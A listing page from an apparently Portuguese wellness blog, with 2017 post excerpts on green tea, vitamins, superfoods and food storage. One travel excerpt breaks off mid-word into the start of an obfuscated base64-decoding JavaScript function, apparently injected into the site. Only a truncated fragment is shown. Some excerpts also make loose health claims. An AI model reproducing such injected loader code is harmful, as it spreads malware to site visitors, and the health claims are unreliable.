Mai 2, 2017 | Dicas úteis, Saúde e bem estar
7 Benefícios do chá verde para a sua saúde O chá verde emagrece, combate o envelhecimento e protege o coração… mas não só. Conheça aqui todos os benefícios deste antioxidante natural maravilhoso. Quente ou frio, pode bebê-lo como mais gostar! Saiba ainda que...
Abr 27, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis -10 Benefícios da vitamina A Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...
Abr 18, 2017 | Saúde e bem estar
Benefícios das bagas goji + receita pequeno almoço saudável Estou sempre atenta ao que de mais saudável existe para incluir na minha alimentação. E depois de comprovar a qualidade e os resultados, não hesito em partilhar. Hoje dou-lhe a conhecer 10 benefícios das...
Abr 11, 2017 | Saúde e bem estar
Cacau, o rei dos antioxidantes, e os seus benefícios Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento é considerado por muitos o rei dos antioxidantes? É verdade, os grãos de cacau são produzidos através da planta “Theobroma...
Abr 8, 2017 | Saúde e bem estar
10 alimentos que não deve guardar no frigorífico O frigorífico é fundamental para guardamos a fruta e os vegetais frescos e alguns alimentos no congelador, como a carne e o peixe. Mas atenção que o frio não faz bem a todos os alimentos. Há os que podem ser...
Abr 4, 2017 | Dicas úteis, Equilíbrio, Saúde e bem estar
Benefícios da vitamina D para a sua saúde A Vitamina D Já é essencial para o nosso organismo. É tão simples como isso. Ela é responsável por controlar 270 genes, inclusive as células do sistema cardiovascular (coração). A boa notícia é que a vitamina D pode ser...
Abr 1, 2017 | Apanhados na rede, Olha que giro
Saiba como aproveitar as cascas de legumes e fruta “Nada se perde, tudo se transforma” é uma velha máxima que ouvimos desde os tempos da escola e que se aplica a praticamente todas as áreas e saberes. Mas hoje falo-lhe de algo que talvez nunca tenha...
Abr 1, 2017 | Sem categoria
Um paraíso a descobrir no centro de Portugal Gosto muito de trabalhar e de viajar. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mar 2, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 9 benefícios do açaí O açaí é um fruto com muitos benefícios para a nossa saúde que o Brasil deu a conhecer ao mundo. Sabia que este fruto cresce nas florestas tropicais da Amazónia? É riquíssimo em proteínas, fibras, lípidos e é uma verdadeira...
Fev 22, 2017 | Dicas úteis
Dicas para ter um hálito fresco e saudável Manter uma boa higiene oral, com a escovagem diária dos dentes e o uso do fio dentário, é o primeiro passo para combater o mau hálito. Mas manter uma boca fresca vai muito além da pasta de dentes, do fio dentário e do...
